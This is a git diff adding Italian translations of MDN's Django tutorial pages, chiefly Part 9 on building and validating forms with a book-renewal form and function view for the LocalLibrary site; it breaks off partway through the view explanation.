+<p><strong>Nota</strong>: Il comando sopra mostra il comando per Linux/macOS. Per ora potete ignorare il messaggio di avviso "13 unapplied migration(s)"!</p>
+</div>
+
+<p>Una volta che il server è in esecuzione potete vedere il sito usando il web browser e andando sul URL: <code>http://127.0.0.1:8000/</code>. Dovreste vedere un sito simile a questo:</p>
+
+<p><img alt="Django Skeleton App Homepage - Django 2.0" src="https://mdn.mozillademos.org/files/16288/Django_Skeleton_Website_Homepage_2_1.png"></p>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Ora avete un ambiente di sviluppo Django funzionante sul vostro computer.</p>
+
+<p>Nella sezione di test avete visto brevemente come creare un sito web Django usando <code>django-admin startproject</code>, e come avviarlo sul browser usando il web server di sviluppo (<code><strong>python3 manage.py runserver</strong></code>). Nel prossimo articolo costruiremo una applicazione web semplice, ma completa.</p>
+
+<h2 id="Vedete_anche">Vedete anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/intro/install/">Guida per l'installazione veloce</a>  (documenti Django)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/install/">Come installare Django — Guida completa</a> (documenti Django) - include informazioni su come rimuovere Django</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/howto/windows/">Come installare Django su Windows</a> (documenti Django)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p>
diff --git a/files/it/learn/server-side/django/forms/index.html b/files/it/learn/server-side/django/forms/index.html
new file mode 100644
index 0000000000..80c0970f16
--- /dev/null
+++ b/files/it/learn/server-side/django/forms/index.html
@@ -0,0 +1,678 @@
+---
+title: 'Django Tutorial Part 9: Working with forms'
+slug: Learn/Server-side/Django/Forms
+translation_of: Learn/Server-side/Django/Forms
+---
+<div> {{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">In questo tutorial ti mostreremo come lavorare con i form HTML in Django e, in particolare, il modo più semplice per scrivere moduli per creare, aggiornare ed eliminare istanze di modelli. Come parte di questa dimostrazione, estenderemo il sito Web LocalLibrary in modo che i bibliotecari possano rinnovare libri e creare, aggiornare ed eliminare autori utilizzando i nostri moduli (anziché utilizzare l'applicazione di amministrazione).</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Completare il precedente tutorial, compreso: <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions">Django Tutorial Part 8: User authentication and permissions</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Comprendere come scrivere form per ottenere informazioni dagli utenti e aggiornare il database. Per capire come le generiche viste di modifica dei form basate sulla classe possono semplificare enormemente la creazione di form per lavorare con un singolo modello.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Un <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Form</a>, o modulo, è un gruppo di uno o più campi/widget su una pagina Web, che può essere utilizzato per raccogliere informazioni dagli utenti per l'invio a un server. I moduli sono un meccanismo flessibile per la raccolta dell'input dell'utente perché ci sono widget adatti per inserire molti tipi diversi di dati, tra cui caselle di testo, caselle di controllo, pulsanti di opzione, selettori di date, ecc. I moduli sono anche un modo relativamente sicuro di condividere i dati con il server, poiché ci consentono di inviare i dati nelle richieste POST con la protezione dalle falsificazioni delle richieste cross-site.</p>
+
+<p>Anche se finora non abbiamo creato alcun modulo in questo tutorial, li abbiamo già incontrati nel sito di Django Admin. Ad esempio, lo screenshot seguente mostra un modulo per la modifica di uno dei nostri modelli <a href="/en-US/docs/Learn/Server-side/Django/Models">Book</a>, composto da un certo numero di elenchi di selezione e editor di testo.</p>
+
+<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Lavorare con i moduli Web può essere complicato! Gli sviluppatori devono scrivere HTML per il modulo, convalidare e bonificare correttamente i dati immessi sul server (e possibilmente anche nel browser), ripubblicare il modulo con messaggi di errore per informare gli utenti di eventuali campi non validi, gestire i dati quando sono stati inviati correttamente e infine rispondere all'utente in qualche modo per indicare il successo. <em>Django Forms</em> prende molto del lavoro da tutti questi passaggi, fornendo un framework che consente di definire i form e i loro campi a livello di codice, e quindi utilizzare questi oggetti per generare il codice HTML del modulo e gestire gran parte della convalida e dell'interazione dell'utente.</p>
+
+<p>In questo tutorial, ti mostreremo alcuni dei modi in cui puoi creare e lavorare con i moduli e, in particolare, in che modo le viste generiche del modulo di modifica possono ridurre in modo significativo la quantità di lavoro necessario per creare moduli da manipolare i tuoi modelli Lungo la strada, estenderemo la nostra applicazione LocalLibrary aggiungendo un modulo per consentire ai bibliotecari di rinnovare i libri della biblioteca e creeremo pagine per creare, modificare ed eliminare libri e autori (riproducendo una versione di base del modulo mostrato sopra per la modifica libri).</p>
+
+<h2 id="HTML_Forms">HTML Forms</h2>
+
+<p>Prima, una breve panoramica degli <a href="/en-US/docs/Learn/HTML/Forms">HTML Forms</a>. Consideriamo un semplice form, con un singolo campo di testo per inserire il nome di alcuni "team" e la relativa etichetta associata:</p>
+
+<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p>
+
+<p>Un form HTML è definito in un insieme di elementi dentro dei tag <code>&lt;form&gt;...&lt;/form&gt;</code>, contenenti almeno un elemento <code>input</code> di <code>type="submit"</code>.</p>
+
+<pre class="brush: html">&lt;form action="/team_name_url/" method="post"&gt;
+    &lt;label for="team_name"&gt;Enter name: &lt;/label&gt;
+    &lt;input id="team_name" type="text" name="name_field" value="Default name for team."&gt;
+    &lt;input type="submit" value="OK"&gt;
+&lt;/form&gt;</pre>
+
+<p>Mentre qui abbiamo solo un campo di testo per inserire il nome del team, un modulo può avere qualsiasi numero di altri elementi di input e le loro etichette associate. L'attributo <code>type</code> del campo definisce quale tipo di widget verrà visualizzato. Il <code>nome e l'ID</code> del campo vengono utilizzati per identificare il campo in JavaScript / CSS / HTML, mentre il <code>value</code> definisce il valore iniziale per il campo quando viene visualizzato per la prima volta. L'etichetta del team corrispondente viene specificata utilizzando il tag label (vedere "Immettere il nome" sopra), con un campo for che contiene il valore id dell'input associato.</p>
+
+<p>L'input  <code>submit</code>  verrà visualizzato come un pulsante (predefinito) che può essere premuto dall'utente per caricare i dati in tutti gli altri elementi di input nel modulo sul server (in questo caso, solo il <code>team_name</code>). Gli attributi del form definiscono il metodo HTTP utilizzato perinviare i dati e la destinazione dei dati sul server (<code>action</code>):</p>
+
+<ul>
+ <li><code>action</code>: La risorsa / URL in cui i dati devono essere inviati per l'elaborazione quando viene inviato il modulo. Se questo non è impostato (o impostato su una stringa vuota), il modulo verrà inviato nuovamente all'URL della pagina corrente.</li>
+ <li><code>method</code>: Il metodo HTTP utilizzato per inviare i dati: post o get.
+  <ul>
+   <li>Il metodo POST deve essere sempre utilizzato se i dati determinano una modifica al database del server, in quanto ciò può essere reso più resistente agli attacchi delle richieste di falsificazione intersito.</li>
+   <li>Il metodo GET deve essere utilizzato solo per form che non modificano i dati dell'utente (ad esempio un form di ricerca). È consigliato quando vuoi essere in grado di aggiungere un segnalibro o condividere l'URL.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Il ruolo del server è innanzitutto quello di rendere lo stato del form iniziale - contenente campi vuoti o prepopolati con valori iniziali. Dopo che l'utente ha premuto il pulsante di invio, il server riceverà i dati del modulo con i valori del browser Web e dovrà convalidare le informazioni. Se il modulo contiene dati non validi, il server dovrebbe visualizzare nuovamente il modulo, questa volta con i dati immessi dall'utente nei campi e nei messaggi "validi" per descrivere il problema per i campi non validi. Una volta che il server riceve una richiesta con tutti i dati del modulo validi, può eseguire un'azione appropriata (ad esempio, salvare i dati, restituire il risultato di una ricerca, caricare un file, ecc.) E quindi avvisare l'utente.</p>
+
+<p>Come potete immaginare, la creazione dell'HTML, la convalida dei dati restituiti, la ri-visualizzazione dei dati inseriti con i rapporti di errore se necessario e l'esecuzione dell'operazione desiderata su dati validi possono richiedere un notevole sforzo per "avere ragione". Django rende tutto molto più semplice, eliminando parte del pesante codice ripetitivo.</p>
+
+<h2 id="Processo_di_Django_di_gestione_dei_form">Processo di Django di gestione dei form</h2>
+
+<p>La gestione dei form di Django utilizza tutte le stesse tecniche apprese in precedenti tutorial (per la visualizzazione di informazioni sui nostri models): la vista riceve una richiesta, esegue tutte le azioni richieste inclusa la lettura dei dati dai modelli, quindi genera e restituisce una pagina HTML ( da un modello, in cui passiamo un contesto contenente i dati da visualizzare). Ciò che rende le cose più complicate è che il server deve anche essere in grado di elaborare i dati forniti dall'utente e visualizzare nuovamente la pagina in caso di errori.</p>
+
+<p>Di seguito viene mostrato un diagramma di flusso del processo di gestione delle richieste di modulo da parte di Django, a partire da una richiesta per una pagina contenente un form (mostrato in verde).</p>
+
+<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p>
+
+<p>Basandosi sul diagramma sopra, le cose che principalmente svolge Django nella gestione dei form sono:</p>
+
+<ol>
+ <li>Mostra il modulo predefinito la prima volta che viene richiesto dall'utente.</li>
+</ol>
+
+<ul>
+ <li>Il form può contenere campi vuoti (ad es. Se stai creando un nuovo record), oppure può essere precompilato con valori iniziali (ad es. Se stai cambiando un record o hai valori iniziali predefiniti utili).</li>
+ <li>A questo punto, il form viene definito come non associato, poiché non è associato a nessun dato inserito dall'utente (sebbene possa avere valori iniziali).</li>
+</ul>
+
+<ol>
+ <li>Riceve i dati da una richiesta di invio e li associa al modulo.
+  <ul>
+   <li>Collegare i dati al modulo significa che i dati inseriti dall'utente e gli eventuali errori sono disponibili quando è necessario visualizzare nuovamente il modulo.</li>
+  </ul>
+ </li>
+ <li>Pulisce e valida i dati.
+  <ul>
+   <li>La pulizia dei dati esegue la disinfezione dell'input (ad esempio rimuovendo i caratteri non validi che potrebbero essere utilizzati per inviare contenuto dannoso al server) e li converte in tipi coerenti di Python.</li>
+   <li>La convalida verifica che i valori siano appropriati per il campo (ad es. Sono nel giusto intervallo di date, non sono troppo corti o troppo lunghi, ecc.)</li>
+  </ul>
+ </li>
+ <li>Se i dati non sono validi, visualizza nuovamente il modulo, questa volta con tutti i valori e i messaggi di errore compilati dall'utente per i campi del problema.</li>
+ <li>Se tutti i dati sono validi, eseguire le azioni richieste (ad esempio, salvare i dati, inviare e-mail, restituire il risultato di una ricerca, caricare un file, ecc.)</li>
+ <li>Una volta completate tutte le azioni, reindirizza l'utente a un'altra pagina.</li>
+</ol>
+
+<p>Django fornisce una serie di strumenti e approcci per aiutarti con le attività sopra descritte. La più fondamentale è la classe <code>Form</code>, che semplifica sia la generazione di moduli HTML che la pulizia / convalida dei dati. Nella prossima sezione, descriviamo come le form funzionano usando l'esempio pratico di una pagina per consentire ai bibliotecari di rinnovare i libri.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Capire come si usa Form ti sarà d'aiuto quando discuteremo le classi di form più "di alto livello" di Django.</p>
+</div>
+
+<h2 id="Modulo_di_rinnovo_del_libro_utilizzando_una_Form_e_funzione_vista">Modulo di rinnovo del libro utilizzando una Form e funzione vista</h2>
+
+<p>Successivamente, aggiungeremo una pagina per consentire ai bibliotecari di rinnovare i libri presi in prestito. Per fare ciò creeremo un modulo che consenta agli utenti di inserire un valore di data. Daremo il campo con un valore iniziale di 3 settimane rispetto alla data corrente (il normale periodo di prestito) e aggiungiamo alcune convalide per garantire che il bibliotecario non possa inserire una data nel passato o una data troppo lontana nel futuro. Quando è stata inserita una data valida, la scriveremo nel campo BookInstance.due_back del record corrente. L'esempio utilizzerà una vista basata sulle funzioni e una classe Form.</p>
+
+<p>Le seguenti sezioni spiegano come funzionano le form le modifiche da apportare al nostro progetto LocalLibrary in corso.</p>
+
+<h3 id="Form">Form</h3>
+
+<p>La classe Form è il cuore del sistema di gestione delle form di Django. Specifica i campi nel modulo, il loro layout, i widget di visualizzazione, le etichette, i valori iniziali, i valori validi e (una volta convalidati) i messaggi di errore associati ai campi non validi. La classe fornisce anche i metodi per eseguire il rendering stesso nei modelli utilizzando formati predefiniti (tabelle, elenchi, ecc.) O per ottenere il valore di qualsiasi elemento (abilitando il rendering manuale a grana fine).</p>
+
+<h4 id="Dichiarare_un_Form">Dichiarare un Form</h4>
+
+<p>La sintassi della dichiarazione per una form è molto simile a quella per la dichiarazione di un modello e condivide gli stessi tipi di campo (e alcuni parametri simili). Questo ha senso perché in entrambi i casi dobbiamo garantire che ogni campo gestisca i giusti tipi di dati, sia vincolato a dati validi e abbia una descrizione per la visualizzazione / documentazione. I dati del modulo sono memorizzati nel file forms.py dell'applicazione, all'interno della directory dell'applicazione. Crea e apri il file locallibrary / catalog / forms.py. Per creare un modulo, importiamo la libreria dei moduli, deriviamo dalla classe Form e dichiariamo i campi del modulo. Di seguito è riportata una classe di modulo molto semplice per il modulo di rinnovo del libro della biblioteca: aggiungi questo al nuovo file:</p>
+
+<pre class="brush: python">from django import forms
+
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+</pre>
+
+<h4 id="Form_fields">Form fields</h4>
+
+<p>In questo caso abbiamo un campo singolo <code><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#datefield">DateField</a></code> per inserire la data di rinnovo che renderizzerà in HTML con un valore vuoto, l'etichetta di default "Data di rinnovo:", e qualche utile testo di utilizzo: "Inserire una data tra ora e 4 settimane (predefinito 3 settimane)." Dato che nessuno degli altri argomenti opzionali è specificato, il campo accetterà le date usando il <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), e sarà visualizzato con il widget standard <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#widget">widget</a>: <a href="https://docs.djangoproject.com/en/2.1/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p>
+
+<p>Esistono molti altri tipi di campi form, che in gran parte riconoscerete dalla loro somiglianza con le classi di campo del modello equivalente: <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>.</p>
+
+<p>Gli argomenti comuni alla maggior parte dei campi sono elencati di seguito (questi hanno valori predefiniti sensibili):</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#required">required</a>: Se <code>True</code>, il campo non può essere lasciato bianco o <code>None</code>. I campi sono obbligatori per default, quindi se impostiamo <code>required=False</code> autorizzeremo dei campi blank nel form.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#label">label</a>: L'etichetta da utilizzare quando si renderizza la pagina in HTML. Se la <a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#label">label</a> non viene specificata, Django ne creerà uno dal nome del campo capitalizzando la prima lettera e sostituendo gli underscore con gli spazi (ad esempio la data di rinnovo).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#label-suffix">label_suffix</a>: Di default i due punti vengono visualizzati dopo l'etichetta (ad esempio, data di rinnovo:). Questo argomento consente di specificare un suffisso diverso contenente altri caratteri.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#initial">initial</a>: Il valore iniziale per il campo quando viene visualizzato il modulo.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#widget">widget</a>: Il widget da mostrare.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#help-text">help_text</a> (come visto sopra): testo di aiuto addizionale da mostrare per spiegare l'uso di un campo del form.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#error-messages">error_messages</a>: Una lista di messaggi di errore per il campo. Puoi sovrascrivere tali messaggi coi tuoi se necessario.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#validators">validators</a>: una lista di funzioni da richiamare quando il campo viene validato.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#localize">localize</a>: Abilita la localizzazione nell'input dei dati del form. Vedere il link per maggiori dettagli.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/#disabled">disabled</a>: Il campo viene mostrato ma non è possibile validarlo, se questo attributo è <code>True</code>. Il valore di default è <code>False</code>.</li>
+</ul>
+
+<h4 id="Validazione">Validazione</h4>
+
+<p>Django offre numerosi posti dove puoi convalidare i tuoi dati. Il modo più semplice per convalidare un singolo campo è sovrascrivere il metodo clean_ &lt;nomecampo&gt; () per il campo che si desidera controllare. Quindi, ad esempio, possiamo effettuare una convalida richiedendo che i valori di renewal_date inseriti siano compresi tra ora e le 4 settimane future implementando clean_renewal_date () come mostrato di seguito.</p>
+
+<p>Aggiorniamo il file forms.py:</p>
+
+<pre class="brush: python"><strong>import datetime</strong>
+
+from django import forms
+<strong>from django.core.exceptions import ValidationError
+from django.utils.translation import ugettext_lazy as _
+</strong>
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+<strong>    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        # Check if a date is not in the past.
+        if data &lt; datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+
+        # Check if a date is in the allowed range (+4 weeks from today).
+        if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data</strong></pre>
+
+<p>Ci sono due cose importanti da notare. Il primo è che otteniamo i nostri dati usando self.cleaned_data ['renewal_date'] e che restituiamo questi dati indipendentemente dal fatto che vengano modificati alla fine della funzione. Questo passaggio ci porta i dati "puliti" e disinfettati da input potenzialmente non sicuri utilizzando i validatori predefiniti e convertiti nel tipo standard corretto per i dati (in questo caso un oggetto datetime.datetime di Python).</p>
+
+<p>La seconda è che se un valore è al di fuori di quelli ammessi solleviamo un errore di validazione <code>ValidationError</code>, specificando il testo di errore che vogliamo mostrare nel forme se un errore di validazione si è verificato. L'esempio sopra inoltre incapsula il testo in una funzione di traduzione di Django (vedi <a href="https://docs.djangoproject.com/en/2.1/topics/i18n/translation/">Django's translation functions</a>) <code>ugettext_lazy()</code> (importata come <code>_()</code>), che è una good practice in caso tu voglia tradurre il sito successivamente.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Esistono molti metodi per validare i form, consultare <a href="https://docs.djangoproject.com/en/2.1/ref/forms/validation/">Form and field validation</a> (Django docs). Per esempio, in alcuni casi in cui si hanno diversi campi che dipendono uno dall'altro si può sovrascrivere la funzione <a href="https://docs.djangoproject.com/en/2.1/ref/forms/api/#django.forms.Form.clean">Form.clean()</a> e nuovamente sollevare una <code>ValidationError</code>.</p>
+</div>
+
+<p>Questo è tutto ciò di cui abbiamo bisogno per il form in questo esempio!</p>
+
+<h3 id="Configurazione_URL">Configurazione URL</h3>
+
+<p>Prima di creare la nostra vista, aggiungiamo una configurazione URL per la pagina dei rinnovi. Copia la seguente configurazione nella parte inferiore di locallibrary / catalog / urls.py.</p>
+
+<pre class="brush: python">urlpatterns += [
+    path('book/&lt;uuid:pk&gt;/renew/', views.renew_book_librarian, name='renew-book-librarian'),
+]</pre>
+
+<p>La configurazione URL reindirizzerà tutti gli URL con formato <strong>/catalog/book/<em>&lt;bookinstance id&gt;</em>/renew/</strong> alla funzione <code>renew_book_librarian()</code> in <strong>views.py</strong>, e manderà l'id della <code>BookInstance</code> come parametro con nome <code>pk</code>. Il pattern matcha solamente se <code>pk</code> è un dato <code>uuid</code> correttamente formattato.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Possiamo nominare qualsiasi cosa ci piaccia dai nostri dati di URL acquisiti anzichè "pk" , perché abbiamo il controllo completo sulla funzione di visualizzazione (non stiamo usando una classe di vista di dettaglio generica che si aspetta parametri con un certo nome). Tuttavia, pk abbreviazione di "chiave primaria", è una convenzione ragionevole da usare!</p>
+</div>
+
+<h3 id="Vista">Vista</h3>
+
+<p>Come discusso in <a href="#django_form_handling_process">Django form handling process</a>, la vista deve eseguire il rendering del modulo predefinito quando viene chiamato per la prima volta e quindi eseguire nuovamente il rendering con messaggi di errore se i dati non sono validi oppure elaborare i dati e reindirizzare a una nuova pagina se i dati sono validi. Per poter eseguire queste diverse azioni, la vista deve essere in grado di sapere se è stata richiamata per la prima volta per il rendering del modulo predefinito o un tempo successivo per convalidare i dati.</p>
+
+<p>Per i form che usano una <code>POST</code> per mandare infromazioni al server, il pattern più comune è fare in modo che sia la view ad eseguire i test verso la richiesta di <code>POST</code> (<code>if request.method == 'POST':</code>) identificare le richieste di convalida del modulo e GET (utilizzando un'altra condizione) per identificare la richiesta iniziale di creazione del modulo. Se si desidera inviare i dati utilizzando una richiesta GET, un approccio tipico per identificare se questa è la prima o successiva chiamata alla vista è leggere i dati del modulo (ad esempio, per leggere un valore nascosto nel modulo).</p>
+
+<p>Il processo di rinnovo del libro verrà scritto nel nostro database, quindi, per convenzione, utilizziamo l'approccio di richiesta POST. Il frammento di codice seguente mostra il modello (molto standard) per questo tipo di visualizzazione delle funzioni.</p>
+
+<pre class="brush: python">import datetime
+
+from django.shortcuts import render, get_object_or_404
+from django.http import HttpResponseRedirect
+from django.urls import reverse
+
+from catalog.forms import RenewBookForm
+
+def renew_book_librarian(request, pk):
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # Se è una richiesta di tipo POST allora processa i dati della Form
+<strong>    if request.method == 'POST':</strong>
+
+        # Crea un'istanza della form e la popola con i dati della richiesta (binding):
+        form = RenewBookForm(request.POST)
+
+        # Controlla se la form è valida:
+        <strong>if form.is_valid():</strong>
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_instance.due_back = form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # reindirizza ad un nuovo URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # Se la richiesta è GET o un altro metodo crea il form di default
+<strong>    else:</strong>
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>Innanzitutto, importiamo il nostro form (RenewBookForm) e una serie di altri oggetti / metodi utili utilizzati nel corpo della funzione di visualizzazione:</p>
+
+<ul>
+ <li><code><a href="https://docs.djangoproject.com/en/2.1/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Ritorna uno specifico oggetto da un modello basato sulla propria chiave primaria, e solleva un'eccezione <code>Http404</code> (not found) se il record non esiste. </li>
+ <li><code><a href="https://docs.djangoproject.com/en/2.1/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: Questo crea un reindirizzamento verso un URL specificato (codice di stato HTTP 302).</li>
+ <li><code><a href="https://docs.djangoproject.com/en/2.1/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: Questo genera un URL da un nome di configurazione URL e un set di argomenti. È l'equivalente Python del tag url che abbiamo utilizzato nei nostri templates.</li>
+ <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: Una libreria Python per manipolare date e ore.</li>
+</ul>
+
+<p>Nella vista, per prima cosa utilizziamo l'argomento pk in get_object_or_404 () per ottenere l'attuale BookInstance (se questo non esiste, la vista verrà immediatamente chiusa e la pagina mostrerà un errore "non trovato"). Se questa non è una richiesta POST (gestita dalla clausola else), creiamo il form predefinito che passa un valore iniziale per il campo renewal_date (come mostrato in grassetto sotto, questo è 3 settimane dalla data corrente). </p>
+
+<pre class="brush: python">    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # Se la richiesta è GET o un altro metodo crea il form di default
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>)
+        <strong>form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})</strong>
+
+    context = {
+        'form': form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>Dopo aver creato il modulo, chiamiamo render() per creare la pagina HTML, specificando il modello e un contesto che contiene il nostro form. In questo caso, il contesto contiene anche il nostro BookInstance, che utilizzeremo nel modello per fornire informazioni sul libro che stiamo rinnovando.</p>
+
+<p>Tuttavia, se si tratta di una richiesta POST, allora creiamo il nostro oggetto form e lo popoliamo con i dati della richiesta. Questo processo è chiamato "binding" e ci consente di convalidare il form. Controlliamo quindi se il form è valido, eseguiamo tutto il codice di convalida su tutti i campi, compreso il codice generico per verificare che il nostro campo data sia effettivamente una data valida e la funzione clean_renewal_date() del nostro from specifico per verificare se la data è nella giusta fascia.</p>
+
+<pre class="brush: python">    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+<strong>        form = RenewBookForm(request.POST)</strong>
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_instance.due_back = form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    context = {
+        'form': form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>Se il form non è valido, viene richiamata nuovamente la funzione <code>render()</code>, ma questa volta il form viene passato al contesto con dei messaggi di errore. </p>
+
+<p>Se il form è valido, allora possiamo iniziare ad utilizzare i dati, accedendovi tramite l'attributo <code>form.cleaned_data</code> (ad es. <code>data = form.cleaned_data['renewal_date']</code>). Qui salviamo semplicemente i dati nel valore due_back dell'oggetto BookInstance associato.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Anche se è possibile accedere ai dati del form direttamente tramite la richiesta, per esempio utilizzando <code>request.POST['renewal_date']</code> o <code>request.GET['renewal_date']</code> se invece stiamo utilizzando una richiesta GET, Ciò NON è raccomandabile. I dati ripuliti, sanificati, e validati, vengono convertiti in tipi adatti a Python.</p>
+</div>
+
